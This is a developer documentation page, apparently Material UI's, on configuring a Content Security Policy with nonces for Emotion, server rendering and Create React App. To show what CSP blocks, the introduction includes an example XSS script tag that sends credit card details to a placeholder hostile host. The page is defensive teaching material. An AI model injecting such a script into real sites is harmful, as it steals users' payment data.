Skip to content

Content Security Policy (CSP)

This section covers the details of setting up a CSP.

What is CSP and why is it useful?

CSP mitigates cross-site scripting (XSS) attacks by requiring developers to whitelist the sources their assets are retrieved from. This list is returned as a header from the server. For instance, say you have a site hosted at https://example.com the CSP header default-src: 'self'; will allow all assets that are located at https://example.com/* and deny all others. If there is a section of your website that is vulnerable to XSS where unescaped user input is displayed, an attacker could input something like:

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span>
  sendCreditCardDetails('https://hostile.example');
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span>

This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.

You can read more about CSP on the MDN Web Docs.

How does one implement CSP?

Server-Side Rendering (SSR)

To use CSP with Material UI (and Emotion), you need to use a nonce. A nonce is a randomly generated string that is only used once, therefore you need to add server middleware to generate one on each request.

A CSP nonce is a Base 64 encoded string. You can generate one like this:

<span class="token keyword">import</span> uuidv4 <span class="token keyword">from</span> <span class="token string">'uuid/v4'</span><span class="token punctuation">;</span>

<span class="token keyword">const</span> nonce <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Buffer</span><span class="token punctuation">(</span><span class="token function">uuidv4</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token string">'base64'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

You must use UUID version 4, as it generates an unpredictable string. You then apply this nonce to the CSP header. A CSP header might look like this with the nonce applied:

<span class="token function">header</span><span class="token punctuation">(</span><span class="token string">'Content-Security-Policy'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>
  <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">default-src 'self'; style-src 'self' 'nonce-</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>nonce<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">';</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span>
<span class="token punctuation">)</span><span class="token punctuation">;</span>

You should pass the nonce in the <style> tags on the server.

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span>
  <span class="token attr-name">data-emotion</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>style<span class="token punctuation">.</span>key<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>style<span class="token punctuation">.</span>ids<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">' '</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span>
  <span class="token attr-name">nonce</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>nonce<span class="token punctuation">}</span></span>
  <span class="token attr-name">dangerouslySetInnerHTML</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">{</span> <span class="token literal-property property">__html</span><span class="token operator">:</span> style<span class="token punctuation">.</span>css <span class="token punctuation">}</span><span class="token punctuation">}</span></span>
<span class="token punctuation">/></span></span>

Then, you must pass this nonce to Emotion's cache so it can add it to subsequent <style>.

<span class="token keyword">const</span> cache <span class="token operator">=</span> <span class="token function">createCache</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
  <span class="token literal-property property">key</span><span class="token operator">:</span> <span class="token string">'my-prefix-key'</span><span class="token punctuation">,</span>
  <span class="token literal-property property">nonce</span><span class="token operator">:</span> nonce<span class="token punctuation">,</span>
  <span class="token literal-property property">prepend</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

<span class="token keyword">function</span> <span class="token function">App</span><span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
  <span class="token keyword">return</span> <span class="token punctuation">(</span>
    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">CacheProvider</span></span> <span class="token attr-name">value</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>cache<span class="token punctuation">}</span></span><span class="token punctuation">></span></span>
      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Home</span></span> <span class="token punctuation">/></span></span>
    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">CacheProvider</span></span><span class="token punctuation">></span></span>
  <span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>

Create React App (CRA)

According to the Create React App Docs, a Create React App will dynamically embed the runtime script into index.html during the production build by default. This will require a new hash to be set in your CSP during each deployment.

To use a CSP with a project initialized as a Create React App, you will need to set the INLINE_RUNTIME_CHUNK=false variable in the .env file used for your production build. This will import the runtime script as usual instead of embedding it, avoiding the need to set a new hash during each deployment.

styled-components

The configuration of the nonce is not straightforward, but you can follow this issue for more insights.